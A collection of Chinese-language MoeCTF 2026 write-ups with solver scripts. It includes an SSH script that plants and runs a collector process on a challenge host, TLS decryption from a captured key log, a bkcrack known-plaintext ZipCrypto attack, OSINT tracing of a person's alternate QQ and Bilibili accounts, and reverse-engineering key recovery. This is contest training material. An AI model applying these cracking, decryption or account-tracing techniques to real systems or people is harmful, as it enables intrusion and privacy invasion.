1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 """MoeCTF 2026 抽奖 —— 统计侧信道取 flag""" import base64, collections, sys, timeimport paramikoSSH = dict (hostname="127.0.0.1" , port=16991 , username="challenger" , password="moectf2026" ) COLLECTOR = r''' import sys, time, urllib.request from concurrent.futures import ThreadPoolExecutor URL, MARK, OUT = "http://127.0.0.1:5000/", 'result">', "/tmp/samples.txt" def one(_): for _t in range(4): try: d = urllib.request.urlopen(URL, timeout=15).read().decode("utf-8", "replace") return d.split(MARK)[1].split("<")[0] except Exception: time.sleep(0.03) return None N = int(sys.argv[1]) with open(OUT, "a") as f, ThreadPoolExecutor(max_workers=16) as ex: done = 0 while done < N: res = [r for r in ex.map(one, range(500)) if r] done += 500 f.write("\n".join(res) + "\n"); f.flush() ''' def run (cli, code, to=120 ): _, o, e = cli.exec_command(code, timeout=to) return o.read().decode("utf-8" , "replace" ), e.read().decode("utf-8" , "replace" ) def main (n=60000 ): cli = paramiko.SSHClient() cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) cli.connect(**SSH, timeout=20 , banner_timeout=30 , allow_agent=False , look_for_keys=False ) run(cli, "open('/tmp/collector.py','w').write(%r)" % COLLECTOR) run(cli, "\n" .join([ "import subprocess, sys" , "open('/tmp/samples.txt','w').close()" , "f = open('/tmp/collector.log','w')" , "p = subprocess.Popen([sys.executable,'/tmp/collector.py',%r], stdout=f," " stderr=subprocess.STDOUT, start_new_session=True, close_fds=True)" % str (n), "print('pid', p.pid)" , ])) while True : time.sleep(15 ) out, _ = run(cli, "import os; print(os.path.getsize('/tmp/samples.txt'))" ) print ("[*] %.1f MB" % (int (out.strip()) / 1048576.0 )) log, _ = run(cli, "print(open('/tmp/collector.log').read()[-100:])" ) if "DONE" in log: break out, _ = run(cli, "print(open('/tmp/samples.txt').read())" , to=600 ) raw = collections.Counter(v[0 ] for v in out.split("\n" ) if v.strip() and not v.startswith("aGludD" )) asc = '' .join(k for k, _ in reversed (sorted (raw.items(), key=lambda kv: -kv[1 ]))) print ("flag:" , "moectf{%s}" % asc) cli.close() if __name__ == "__main__" : main(int (sys.argv[1 ]) if len (sys.argv) > 1 else 60000 )
星走路的黑历史 1 2 每个人都有一些黑历史,starwalking也不例外,我们成功发现了他的小号(@2912933891 ),或许其中能有什么秘密 ps: 请勿添加好友,不添加是可以做出来的
这人的签名里面找到第一部分
根据提示找留言板,可以看到留言板是最近才发的,那猫腻就在这里边了
把这个页面保存到本地,用编辑器打开后看见有零宽字符,找个网站解一下得到第二部分
提示是see me,感觉不出来什么意思,回去空间里面翻,发现留言的跟刚刚的那个不是同一个号
接下来这部分要用到手机,打开找个人的标签看到一张图,上面写着第三部分(调一下看得清楚点)
1 2 part3:bnRfaXNfaW50M3Jl hint:UID:3707029099120937
16位的UID,想到了B站,找个UID api识别一下
看到这个头像的时候就知道我找对了
扫一下这个二维码得到第四部分
四段都是base64编码,拼起来去解码就行
1 bW9lY3Rme1RoM190ckB2M2xfb2ZfMHMxbnRfaXNfaW50M3Jlc3RpbjlfSEBoNCF9
1 moectf{Th3_tr@v3l_of_0s1nt_is_int3restin9_H@h4!}
胡言乱语 题目附件是 capture.pcapng。抓包中有一段 TLS 流量,以及一次明文 HTTP 请求:GET /tls.log。响应体正是 TLS 密钥日志。将它保存为 tls.log,在 Wireshark 的「首选项 → 协议 → TLS → (Pre)-Master-Secret log filename」中加载,便能看到加密流量中的请求:
Text
导出响应体得到 flag.zip。压缩包只有 cat.png,使用 ZipCrypto + Deflate 加密。
PNG 的 IEND 结尾固定为 0000000049454e44ae426082。本题中这 12 字节原样位于压缩数据末端。ZIP 条目的压缩大小为 2601551 字节,扣除 12 字节 ZipCrypto 加密头后,已知明文的偏移是 2601551 - 12 - 12 = 2601527。使用 bkcrack 1.8.1:
Text 1 bkcrack.exe -C flag.zip -c cat.png -x 2601527 0000000049454e44ae426082 -j 8
恢复出的内部密钥为 0e4568e5 eb178413 b253505a。直接用它解密,无需找回原始 ZIP 口令:
Text 1 2 bkcrack.exe -C flag.zip -k 0e4568e5 eb178413 b253505a -D unlocked.zip 7z x unlocked.zip
解出的 cat.png 提示 IHDR: CRC error。文件头记录的宽度是 1700,高度是 1024;保持其他字节不变,枚举高度并与原 CRC 21b5335d 比较,得到正确高度 1280 :
1 2 3 4 5 6 7 8 9 10 11 12 from pathlib import Pathimport zlibpng = bytearray (Path("cat.png" ).read_bytes()) target = int .from_bytes(png[29 :33 ], "big" ) for height in range (1 , 20000 ): png[20 :24 ] = height.to_bytes(4 , "big" ) if zlib.crc32(png[12 :29 ]) == target: print ("height =" , height) Path("cat-fixed.png" ).write_bytes(png) break
打开修复后的图片,底部即可读到 flag
1 moectf{5133p_ca7_5ay5_r1gh7_h1n7}
基米文件 哈基米语解密https://app\.xiaobaozi\.cn/
零宽字符解密
得到假flag
1 fakeflag{Why_do_you_come_to_the_hell!}
偶数位中的“眼见为实?”是明文提示,不属于四进制流。奇数位在这几个位置仍有三进制数字,提取时应保留。
奇数位前 308 位解出 moectf{g00d_jo6_c0rpor@1_7ou,还剩一个 0。第 618 位之后全部是三进制流;在这个剩余 0 前补一个 0,与后面的 185 位合并成 187 位,恰好解出 17 个字符:_g3t_th3_s3cre4!}。两段拼接即为真正的 flag。
将 U+200B、U+2062、U+2063 分别替换为 0、1、2,再每 11 位 分一组,转成十进制 Unicode 码点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const fs = require ('fs' );const cipher = fs.readFileSync ('hachimi.txt' , 'utf8' ).trim ();const digit = { 哈: 0 , 基: 1 , 米: 2 };const key = [...'hachimi' ].flatMap (c => [...String (c.charCodeAt (0 ))].map (Number ));function decodeHachimi ( ) { let result = '' ; for (let pos = 0 ; pos < cipher.length ;) { const shift = digit[cipher[pos]] * 3 + digit[cipher[pos + 1 ]]; const lengthCode = (digit[cipher[pos + 2 ]] - shift + 9 ) % 3 ; const length = [6 , 9 , 12 ][lengthCode]; const rotated = [...cipher.slice (pos + 3 , pos + 3 + length)] .map (c => digit[c]).join ('' ); if (rotated.length !== length) throw Error (`Incomplete block at ${pos} ` ); const left = Math .min (shift, length); const trits = rotated.slice (left) + rotated.slice (0 , left); const codepoint = parseInt (trits, 3 ) - 3 - shift - key[result.length % key.length ]; result += String .fromCharCode (codepoint); pos += 3 + length; } return result; } const hidden = decodeHachimi ();const base4 = { '\u200c' : 0 , '\u200d' : 1 , '\u202c' : 2 , '\ufeff' : 3 };const base3 = { '\u200b' : 0 , '\u2062' : 1 , '\u2063' : 2 };const fourDigits = [];const threeDigits = [];for (let i = 0 ; i < 618 ; i += 2 ) { if (Object .hasOwn (base4, hidden[i])) fourDigits.push (base4[hidden[i]]); threeDigits.push (base3[hidden[i + 1 ]]); } const fakeBytes = [];for (let i = 0 ; i < fourDigits.length ; i += 4 ) { fakeBytes.push (fourDigits.slice (i, i + 4 ).reduce ((a, d ) => 4 * a + d, 0 )); } const fake = Buffer .from (fakeBytes).swap16 ().toString ('utf16le' );function ternaryChars (trits ) { if (trits.length % 11 ) throw Error ('Invalid ternary length' ); let out = '' ; for (let i = 0 ; i < trits.length ; i += 11 ) { out += String .fromCharCode (trits.slice (i, i + 11 ) .reduce ((a, d ) => 3 * a + d, 0 )); } return out; } const prefix = ternaryChars (threeDigits.slice (0 , 308 ));const padding = threeDigits[308 ];if (padding !== 0 ) throw Error ('Unexpected padding' );const suffix = ternaryChars ([0 , padding, ...[...hidden.slice (618 )].map (c => base3[c])]);console .log ('Decoy:' , fake);console .log ('Flag:' , prefix + suffix);
1 moectf{g00d_jo6_c0rpor@1_7ou_g3t_th3_s3cre4!}
星走路的旅程-level3 提取图片线索 照片是在飞机舷窗内拍摄的,对面飞机机身印有“中国东方航空 / CHINA EASTERN”。东航的 IATA 航司代码是 MU,因此航班号可写作 MU 加数字。
检查 JPEG 的 EXIF,可得到拍摄时间 2026:04:27 13:29:15,时区 +08:00。两个 Windows EXIF 字段还分别写着 flightaware 和 0420Z,提示可结合时间到航班追踪网站查询历史航班。这里没有从网站取得可核验的历史记录,因此最终使用题目给出的 MD5 判定,而不把照片中较模糊的机身注册号当作确定依据。
按 flag 格式枚举并校验 MD5 从公开的 OpenFlights 机场表提取中国机场 IATA 代号,分别作为起点和终点;航班号枚举 MU0000 至 MU9999。将每个候选拼成完整 flag 后计算 MD5。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 const fs = require ('node:fs' );const crypto = require ('node:crypto' );const { execFileSync } = require ('node:child_process' );const target = '0af5d341bfea997094a329e6ba5ce6c4' ;const dataFile = 'airports.dat' ;const dataUrl = 'https://cdn.jsdelivr.net/gh/jpatokal/openflights@master/data/airports.dat' ;if (!fs.existsSync (dataFile)) { const curl = process.platform === 'win32' ? 'curl.exe' : 'curl' ; execFileSync (curl, ['-fsSL' , dataUrl, '-o' , dataFile], { stdio : 'inherit' }); } const codes = [...new Set ( fs.readFileSync (dataFile, 'utf8' ) .split (/\r?\n/ ) .map (line => line.match (/,"China","([A-Z]{3})",/ )?.[1 ]) .filter (Boolean ) )]; const origins = [...new Set (['PEK' , 'SHA' , 'PVG' , 'NKG' , 'XIY' , ...codes])];for (const from of origins) { for (const to of codes) { for (let number = 0 ; number <= 9999 ; number ++) { const flag = `moectf{${from } _MU${String (number ).padStart(4 , '0' )} _${to} }` ; const digest = crypto.createHash ('md5' ).update (flag).digest ('hex' ); if (digest === target) { console .log (flag); console .log (digest); process.exit (0 ); } } } } throw new Error ('没有找到匹配项' );
魔理沙偷走了重要的东西 按 PNG chunk 的长度逐个解析,IEND 位于偏移 448052,PNG 在偏移 448064 结束,后面还有 248162 字节。ZIP 的中央目录显示有两个文件:flag.zip 和 marisa.png。
ZIP 实际从偏移 448060 开始。它的前 4 字节被 PNG 的 IEND CRC(AE 42 60 82)占用,覆盖了 ZIP 本应出现的 50 4B 03 04。从该位置截取到文件末尾,并把前 4 字节改回 50 4B 03 04,即可正常解压,得到加密的 flag.zip 和另一张图片 marisa.png。
marisa.png 的 IEND 后还有 56 字节,其中的 Base64 文本 cHdkMjpfdGhpZWZfbWFyaXNh 解码为:
按行读取这张图片的像素,依次取每个像素红色通道的最低位 ,每 8 位按高位在前组成一个 ASCII 字节。开头得到:
去掉 pwd1:、pwd2: 标签并直接拼接,flag.zip 的 AES-256 密码为 master_spark_thief_marisa。
1 moectf{m4risa_1s_the_b3st_th13f_daze}
软件逆向工程 逆向工程入门指北 打开就送吗?
1 moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}
Assembly 1 2 3 [复制25 字节明文] → [算术判断] ──True ──→ [XOR解码15 字节] ─┐ │ ├→ [写'\0' ] → ret └──False ─→ [直接复制9 字节] ──────┘
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 byte_404000 = bytes ([ 0x6d , 0x6f , 0x65 , 0x63 , 0x74 , 0x66 , 0x7b , 0x41 , 0x73 , 0x73 , 0x65 , 0x6d , 0x62 , 0x31 , 0x79 , 0x5f , 0x4c , 0x34 , 0x6e , 0x67 , 0x75 , 0x61 , 0x67 , 0x65 , 0x5f , ]) byte_404020 = bytes ([ 0x73 , 0x11 , 0x1d , 0x21 , 0x2d , 0x72 , 0x2d , 0x72 , 0x0d , 0x2d , 0x2d , 0x2e , 0x63 , 0x63 , 0x3f , ]) byte_404030 = bytes ([ 0x63 , 0x6f , 0x72 , 0x72 , 0x65 , 0x63 , 0x74 , 0x21 , 0x7d , ]) buf = bytearray () buf.extend(byte_404000[:25 ]) eax = 0x2a + 0x16 ebx = 0x10 << 2 ecx = 0x39 - 0x20 if eax == 0x40 and eax == ebx and ecx > 0x18 : for b in byte_404020[:15 ]: buf.append(b ^ 0x42 ) else : buf.extend(byte_404030[:9 ]) buf.append(0 ) flag = buf.rstrip(b'\x00' ).decode('ascii' ) print (f"Flag: {flag} " )
1 moectf{Assemb1y_L4nguage_1S_co0o0Oool!!}
bbxor 反编译后main函数为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall main (int argc, const char **argv, const char **envp) { _DWORD v4[38 ]; int n35_1; int n35; printf ("Input: " ); for ( n35 = 0 ; n35 <= 35 ; ++n35 ) __isoc99_scanf("%d" , &v4[n35]); for ( n35_1 = 0 ; n35_1 <= 35 ; ++n35_1 ) { if ( (v4[n35_1] ^ 0x66 ) != cipher[n35_1] ) { printf ("no" ); return 0 ; } } printf ("yes" ); return 0 ; }
可以看出来
程序要求输入 36 个整数(n35 <= 35,即 0~35)。
将每个输入的整数与 0x66 进行 异或(XOR) 运算。
如果异或结果等于全局数组 cipher 中对应位置的值,则验证通过;否则输出 “no”。
全部验证通过后输出 “yes”。
根据 XOR 的性质:若 A ^ B = C,则 A = C ^ B。 因此,只需要将 cipher 数组中的每个值再与 0x66 异或一次,即可还原出原始输入。
1 2 3 4 5 6 7 8 9 cipher = [ 0x0B , 0x09 , 0x03 , 0x05 , 0x12 , 0x00 , 0x1D , 0x24 , 0x52 , 0x15 , 0x0F , 0x05 , 0x39 , 0x1E , 0x56 , 0x14 , 0x39 , 0x05 , 0x0E , 0x07 , 0x57 , 0x0A , 0x03 , 0x08 , 0x01 , 0x03 , 0x39 , 0x15 , 0x09 , 0x0A , 0x10 , 0x03 , 0x02 , 0x47 , 0x47 , 0x1B ] key = 0x66 flag = '' .join(chr (c ^ key) for c in cipher) print (flag)
1 moectf{B4sic_x0r_cha1lenge_solved!!}
反方向的 RC4 反编译看见main函数
程序虽然要求用户输入内容,但是 input 在 fgets 之后没有被使用。真正送入
rc4_crypt 的数据是由 init_cipher 初始化的 buf。
因此,用户输入只是干扰项,随便输入什么都不会影响解密结果。
init_cipher 将全局变量 g_cipher 中的 20 字节数据复制到栈上的局部缓冲区
从 .rodata 中可以获得密钥和密文
1 2 3 4 5 6 7 8 9 g_key: 54 68 31 53 5f 31 73 5f 73 65 63 72 65 74 7e 21 ASCII: Th1S_1s_secret~! g_cipher: b2 24 24 03 e3 b4 41 62 11 f3 8a 28 a0 71 9b be 27 46 19 a9
rc4_crypt 是标准的 RC4 实现,包含两个阶段。
第一阶段是 KSA,即使用密钥打乱长度为 256 的状态数组
第二阶段是 PRGA,生成密钥流并与密文逐字节异或
RC4 的加密和解密操作完全相同,因此将 g_cipher 再进行一次 RC4 运算即可得到 明文 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 key = b"Th1S_1s_secret~!" cipher = bytes .fromhex( "b2 24 24 03 e3 b4 41 62 11 f3 " "8a 28 a0 71 9b be 27 46 19 a9" ) def rc4 (data: bytes , key: bytes ) -> bytes : s = list (range (256 )) j = 0 for i in range (256 ): j = (j + s[i] + key[i % len (key)]) & 0xff s[i], s[j] = s[j], s[i] i = 0 j = 0 result = bytearray () for value in data: i = (i + 1 ) & 0xff j = (j + s[i]) & 0xff s[i], s[j] = s[j], s[i] stream_byte = s[(s[i] + s[j]) & 0xff ] result.append(value ^ stream_byte) return bytes (result) print (rc4(cipher, key).rstrip(b"\x00" ).decode())
Ultra Potato Xplosion 保留原文件,复制出一个副本后解包
在 0x401438 附近可以看到硬编码数据
1 2 3 4 5 40144e: movabs rax,0x5571383672726e46 401458 : movabs rdx,0x7574354154534446 401470 : movabs rax,0x7267703870414e70 40147a: movabs rdx,0x334673654e4a5046 401492 : movabs rax,0x006b4e4b36523346
x86-64 是小端序,因此将这些立即数按内存中的字节顺序还原
1 2 3 4 5 Fnrr68qU FDSTA5tu pNAp8pgr FPJNesF3 F3R6KNk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import argparseimport sysfrom pathlib import PathALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" ENCODED = "Fnrr68qUFDSTA5tupNAp8pgrFPJNesF3R6KNk" def base58_decode (value: str ) -> bytes : number = 0 for char in value: number = number * 58 + ALPHABET.index(char) decoded = number.to_bytes((number.bit_length() + 7 ) // 8 , "big" ) leading_zeroes = len (value) - len (value.lstrip(ALPHABET[0 ])) return b"\x00" * leading_zeroes + decoded def main () -> None : parser = argparse.ArgumentParser() parser.add_argument("--raw" , action="store_true" , help ="write the answer to stdout" ) parser.add_argument("-o" , "--output" , type =Path, help ="write the answer to a file" ) args = parser.parse_args() answer = base58_decode(ENCODED) if args.raw: sys.stdout.buffer.write(answer + b"\n" ) elif args.output: args.output.write_bytes(answer + b"\n" ) print (f"Wrote {len (answer)} answer bytes plus newline to {args.output} " ) else : print (f"encoded: {ENCODED} " ) print (f"length: {len (answer)} " ) print (f"hex: {answer.hex ()} " ) print (f"python: {answer!r} " ) if __name__ == "__main__" : main()
1 moectf{EaSy_UPX_anD_Base58}
奇怪的 APP
将 APK 作为 ZIP 打开。
解析二进制 AXML 的字符串池。
根据 DEX Header 中的 string_ids 表提取 DEX 字符串。
扫描资源和 assets 中的 Base64 候选。
过滤无法解码或不是可打印 ASCII 的干扰项。
自动尝试片段顺序并匹配标准 flag 格式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 """One-click solver for MoeCTF 2026 "Strange APP".""" from __future__ import annotationsimport argparseimport base64import itertoolsimport reimport structimport sysimport zipfilefrom dataclasses import dataclassfrom pathlib import PathB64_TOKEN = re.compile ( rb"(?<![A-Za-z0-9+/=])([A-Za-z0-9+/]{8,}={0,2})(?![A-Za-z0-9+/=])" ) FLAG_PATTERN = re.compile (r"(?i)(?:moectf|flag|ctf)\{[^{}\r\n]+\}" ) @dataclass(frozen=True ) class Fragment : source: str encoded: str decoded: str def u16 (data: bytes , offset: int ) -> int : return struct.unpack_from("<H" , data, offset)[0 ] def u32 (data: bytes , offset: int ) -> int : return struct.unpack_from("<I" , data, offset)[0 ] def read_uleb128 (data: bytes , offset: int ) -> tuple [int , int ]: value = 0 shift = 0 for _ in range (5 ): byte = data[offset] offset += 1 value |= (byte & 0x7F ) << shift if byte & 0x80 == 0 : return value, offset shift += 7 raise ValueError("invalid ULEB128 value" ) def read_utf16_length (data: bytes , offset: int ) -> tuple [int , int ]: first = u16(data, offset) offset += 2 if first & 0x8000 : second = u16(data, offset) offset += 2 return ((first & 0x7FFF ) << 16 ) | second, offset return first, offset def parse_axml_strings (data: bytes ) -> list [str ]: """Read the string pool from an Android binary XML document.""" if len (data) < 8 or u16(data, 0 ) != 0x0003 : return [] offset = 8 while offset + 8 <= len (data): chunk_type = u16(data, offset) header_size = u16(data, offset + 2 ) chunk_size = u32(data, offset + 4 ) if chunk_size < 8 or offset + chunk_size > len (data): raise ValueError("malformed AXML chunk" ) if chunk_type == 0x0001 : string_count = u32(data, offset + 8 ) flags = u32(data, offset + 16 ) strings_start = u32(data, offset + 20 ) is_utf8 = bool (flags & 0x100 ) strings = [] for index in range (string_count): relative = u32(data, offset + header_size + index * 4 ) cursor = offset + strings_start + relative if is_utf8: _, cursor = read_uleb128(data, cursor) byte_length, cursor = read_uleb128(data, cursor) raw = data[cursor : cursor + byte_length] strings.append(raw.decode("utf-8" , errors="replace" )) else : char_length, cursor = read_utf16_length(data, cursor) raw = data[cursor : cursor + char_length * 2 ] strings.append(raw.decode("utf-16le" , errors="replace" )) return strings offset += chunk_size return [] def parse_dex_strings (data: bytes ) -> list [str ]: """Read string_data_item values using the DEX header string_ids table.""" if len (data) < 0x70 or not data.startswith(b"dex\n" ): return [] string_count = u32(data, 0x38 ) string_ids_offset = u32(data, 0x3C ) if string_ids_offset + string_count * 4 > len (data): raise ValueError("malformed DEX string_ids table" ) strings = [] for index in range (string_count): cursor = u32(data, string_ids_offset + index * 4 ) if cursor >= len (data): raise ValueError("malformed DEX string_data offset" ) _, cursor = read_uleb128(data, cursor) end = data.find(b"\x00" , cursor) if end < 0 : raise ValueError("unterminated DEX string" ) strings.append(data[cursor:end].decode("utf-8" , errors="replace" )) return strings def decode_base64 (token: bytes ) -> str | None : if len (token) % 4 == 1 : return None padded = token + b"=" * ((4 - len (token) % 4 ) % 4 ) try : raw = base64.b64decode(padded, validate=True ) decoded = raw.decode("ascii" ) except (ValueError, UnicodeDecodeError): return None if len (decoded) < 4 or any (ord (char) < 0x20 or ord (char) > 0x7E for char in decoded): return None if not any (char in "{}_?!0123456789" for char in decoded): return None return decoded def fragments_from_strings (source: str , strings: list [str ] ) -> list [Fragment]: data = "\n" .join(strings).encode("utf-8" , errors="ignore" ) return fragments_from_bytes(source, data) def fragments_from_bytes (source: str , data: bytes ) -> list [Fragment]: fragments = [] for match in B64_TOKEN.finditer(data): token = match .group(1 ) decoded = decode_base64(token) if decoded is not None : fragments.append(Fragment(source, token.decode("ascii" ), decoded)) return fragments def collect_fragments (apk_path: Path ) -> list [Fragment]: fragments: list [Fragment] = [] with zipfile.ZipFile(apk_path) as apk: names = set (apk.namelist()) if "AndroidManifest.xml" in names: manifest = apk.read("AndroidManifest.xml" ) strings = parse_axml_strings(manifest) if strings: fragments.extend(fragments_from_strings("AndroidManifest.xml" , strings)) else : fragments.extend(fragments_from_bytes("AndroidManifest.xml" , manifest)) if "classes.dex" in names: dex_strings = parse_dex_strings(apk.read("classes.dex" )) fragments.extend(fragments_from_strings("classes.dex" , dex_strings)) for name in apk.namelist(): if name in {"AndroidManifest.xml" , "classes.dex" } or name.startswith("META-INF/" ): continue if name.endswith("/" ): continue data = apk.read(name) if len (data) <= 2 * 1024 * 1024 : fragments.extend(fragments_from_bytes(name, data)) unique = [] seen = set () for fragment in fragments: key = (fragment.encoded, fragment.decoded) if key not in seen: seen.add(key) unique.append(fragment) return unique def reconstruct_flag (fragments: list [Fragment] ) -> tuple [str , tuple [Fragment, ...]] | None : direct = [ (fragment.decoded, (fragment,)) for fragment in fragments if FLAG_PATTERN.fullmatch(fragment.decoded) ] if direct: return direct[0 ] maximum = min (len (fragments), 8 ) for count in range (maximum, 1 , -1 ): for selected in itertools.permutations(fragments, count): candidate = "" .join(fragment.decoded for fragment in selected) if FLAG_PATTERN.fullmatch(candidate): return candidate, selected return None def main () -> int : parser = argparse.ArgumentParser( description="Solve the MoeCTF 2026 Strange APP APK using only Python stdlib." ) parser.add_argument("apk" , nargs="?" , default="chall11.apk" , help ="path to the challenge APK" ) args = parser.parse_args() apk_path = Path(args.apk).resolve() if not apk_path.is_file(): print (f"[-] APK not found: {apk_path} " , file=sys.stderr) return 1 try : fragments = collect_fragments(apk_path) except (OSError, ValueError, zipfile.BadZipFile, struct.error) as exc: print (f"[-] Failed to analyze APK: {exc} " , file=sys.stderr) return 1 print (f"[+] APK: {apk_path.name} " ) print (f"[+] Decoded Base64 fragments: {len (fragments)} " ) for fragment in fragments: print (f" {fragment.source} : {fragment.encoded} -> {fragment.decoded} " ) result = reconstruct_flag(fragments) if result is None : print ("[-] Could not reconstruct a complete flag." , file=sys.stderr) return 2 flag, order = result print ("[+] Reconstruction order:" ) for index, fragment in enumerate (order, 1 ): print (f" {index} . {fragment.source} : {fragment.decoded} " ) print (f"[+] FLAG: {flag} " ) return 0 if __name__ == "__main__" : raise SystemExit(main())
1 moectf{Apk_REv3rse_1s_fuN_r1ghT?!!!}
请你喝茶 将32字节flag拆分为前后两个16字节块分别处理:前半部分经标准TEA加密验证,后半部分经XTEA加密验证;解题时需在IDA中从.rodata段提取两组密文和密钥(注意x86-64小端序转换),再根据TEA/XTEA加密算法的对称性编写对应的解密函数(TEA逆序减运算并回退delta,XTEA则额外涉及基于sum的密钥索引选择),最终将两段解密结果拼接即可还原完整flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <stdio.h> #define uint unsigned int void tea_decrypt (uint cipher[2 ], uint key[4 ]) { uint delta = -1640531527 * 32 ; for (int i = 1 ; i <= 32 ; i++) { cipher[1 ] -= (cipher[0 ] + delta) ^ (16 * cipher[0 ] + key[2 ]) ^ (cipher[0 ] / 32 + key[3 ]); cipher[0 ] -= (cipher[1 ] + delta) ^ (16 * cipher[1 ] + key[0 ]) ^ (cipher[1 ] / 32 + key[1 ]); delta += 1640531527 ; } } void xtea_decrypt (uint cipher[2 ], uint key[4 ]) { uint delta = 0xC6EF3720 ; for (int i = 1 ; i <= 32 ; i++) { cipher[1 ] -= (((cipher[0 ] * 16 ) ^ (cipher[0 ] / 32 )) + cipher[0 ]) ^ (key[(delta >> 11 ) & 3 ] + delta); delta += 0x61C88647 ; cipher[0 ] -= (((cipher[1 ] * 16 ) ^ (cipher[1 ] / 32 )) + cipher[1 ]) ^ (key[delta & 3 ] + delta); } } int main () { uint cipher1[4 ] = { 0xB3E7E33E , 0xB4114672 , 0x8E088C0C , 0x14B2C329 }; uint key1[4 ] = { 0x12345678 , 0x87654321 , 0x13572468 , 0x24681357 }; tea_decrypt (cipher1, key1); tea_decrypt (cipher1 + 2 , key1); uint cipher2[4 ] = { 0x60EC68AB , 0x940251CE , 0xB427534C , 0xDF435416 }; uint key2[4 ] = { 0xDEADBEEF , 0xCAFEBABE , 0x11223344 , 0x55667788 }; xtea_decrypt (cipher2, key2); xtea_decrypt (cipher2 + 2 , key2); printf ("%.16s%.16s\n" , (char *)cipher1, (char *)cipher2); return 0 ; }
1 moectf{Wh4t_a_n1ce_cup_0f_TEA!!}
让我们说中文 自定义Base64逆向题,程序先将用户输入进行标准Base64编码,再通过一个硬编码在.rodata段中的自定义字符表对编码结果逐字符替换生成密文,从IDA中提取该自定义表与标准Base64表构建逆映射关系,将题目给出的密文还原为标准Base64字符串后解码拿到flag
反编译看到main函数里面的密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall main (int a1, char **a2, char **a3) { size_t v3; const char *v4; char *v5; char v7[4104 ]; __printf_chk(2 , "Input cipher: " , a3); if ( !fgets (v7, 4096 , stdin) ) { puts ("Input error." ); return 1 ; } v7[strcspn (v7, "\r\n" )] = 0 ; v3 = strlen (v7); v4 = (const char *)sub_401480 (v7, v3); v5 = (char *)v4; if ( !v4 ) { puts ("Memory error." ); return 1 ; } if ( !strcmp ( v4, "KwC2gtPmKwn2NwTyKwGilvt0KwOiuqTvKw43utP2KwOxgttpKwC2gtPmKwn2lwUiKwIxNvtzKwn2lTa5Kw42KTP0KwIiNtt0Kw42NRT3KwM2g4" "JaKwn3NTarKwIxu5OrKw42NRT3KwOxKwUrKwIxu5OrKw42NRT3KwIxKtP3Kwn3N4PjKwIiK5T0Kw43lRUxKwIiNtt0Kw42NRT3Kw42NwOxKwOi" "KTPzKwKxg5OxKw42g5TpKwDxl4JrKwIxu5OrKw42NRT3KwIxKtP3KwM2g4JaKwC2g4P3KwDxKwOaKw42NwMqKwIxu5OrKw42NRT3KwIiN5TzKw" "Kxg5OxKw42g5TpKwDxl4JrKwIiNtt0Kw42NRT3KwOxK4JaKwKxg5OtKwGxlwU5Kwn3N4PjKwIiK5T0KwT3lTPzKwn3N4PjKwIiK5T0KwKxg5Mq" "KwIxu5OrKw42NRT3Kw43lvPjKwIxu5OrKw42NRT3KwM2g4JaKwn3NTarKw42KTPqKwn2lTa5Kw42KTP0" ) ) puts ("Correct!" ); else puts ("Wrong!" ); free (v5); return 0 ; }
跳转到sub_401480看到相关映射关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 _BYTE *sub_401480 () { _BYTE *result; char v1; _BYTE *v2; __int64 v3; result = (_BYTE *)sub_4012F0 (); if ( result ) { v1 = *result; if ( *result ) { v2 = result; do { if ( v1 != 61 ) { v3 = 0 ; while ( aAbcdefghijklmn[v3] != v1 ) { if ( ++v3 == 64 ) goto LABEL_9; } *v2 = aSix5tarspjyoun[v3]; } LABEL_9: v1 = *++v2; } while ( v1 ); } } return result; }
接着拿到字符表
